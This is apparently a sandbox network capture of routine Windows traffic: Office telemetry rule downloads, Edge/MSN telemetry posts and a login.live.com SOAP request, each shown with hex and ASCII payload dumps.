2024-11-16 18:22:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49871	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 18:22:34 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 18:22:35 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 18:21:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C545_BAY x-ms-request-id: 176a8509-441e-4689-b35a-51fd7de15d35 PPServer: PPV: 30 H: PH1PEPF00011ECE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 18:22:34 GMT Connection: close Content-Length: 11392
2024-11-16 18:22:35 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49873	13.69.116.109	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:34 UTC	1034	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781352598&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11550 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1; msnup=
2024-11-16 18:22:34 UTC	11550	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 38 3a 32 32 3a 33 32 2e 35 39 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 66 66 65 65 65 39 33 2d 63 63 38 33 2d 34 39 31 38 2d 62 32 62 31 2d 30 66 32 39 65 38 37 36 64 66 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 38 32 33 31 30 37 35 39 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-16T18:22:32.597Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"2ffeee93-cc83-4918-b2b1-0f29e876df8d","epoch":"823107593"},"app":{"locale"
2024-11-16 18:22:34 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1080230150264c66b841628acef30e52&HASH=1080&LV=202411&V=4&LU=1731781354662; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 18:22:34 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b171534045d7437b9e35442eac3ee716; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 18:52:34 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2064 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 18:22:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49872	13.69.116.109	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:34 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781352602&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5085 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1; msnup=
2024-11-16 18:22:34 UTC	5085	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 38 3a 32 32 3a 33 32 2e 36 30 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 66 66 65 65 65 39 33 2d 63 63 38 33 2d 34 39 31 38 2d 62 32 62 31 2d 30 66 32 39 65 38 37 36 64 66 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 38 32 33 31 30 37 35 39 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-16T18:22:32.600Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"2ffeee93-cc83-4918-b2b1-0f29e876df8d","epoch":"823107593"},"app":{"locale"
2024-11-16 18:22:34 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2a3a549399c741e8ab7d43d3ac7ef60a&HASH=2a3a&LV=202411&V=4&LU=1731781354572; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 18:22:34 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=503f2de6d4db4f8e84d54c1da9d8e2a5; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 18:52:34 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1970 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 18:22:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:34 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 5c60c0f5-901e-0067-06a2-34b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182235Z-1866b5c5fbbtpjhjhC1DFWr6tw00000003600000000027t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:35 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182235Z-16547b76f7fmcv27hC1DFWgpcg00000001ug00000000raw5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:35 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182235Z-1866b5c5fbbxjblthC1DFW6b48000000012g00000000cyya x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:35 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182235Z-16547b76f7fnlq8chC1DFWxnen00000002rg00000000qkmk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:35 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:35 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7cd0f64a-201e-0071-70c6-37ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182235Z-1866b5c5fbblmqrkhC1DFWf9ns000000016000000000hf76 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 18:22:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49882	13.69.116.109	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:35 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781353609&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9348 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1; msnup=
2024-11-16 18:22:35 UTC	9348	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 38 3a 32 32 3a 33 33 2e 36 30 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 66 66 65 65 65 39 33 2d 63 63 38 33 2d 34 39 31 38 2d 62 32 62 31 2d 30 66 32 39 65 38 37 36 64 66 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 38 32 33 31 30 37 35 39 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-16T18:22:33.608Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"2ffeee93-cc83-4918-b2b1-0f29e876df8d","epoch":"823107593"},"app":{"loca
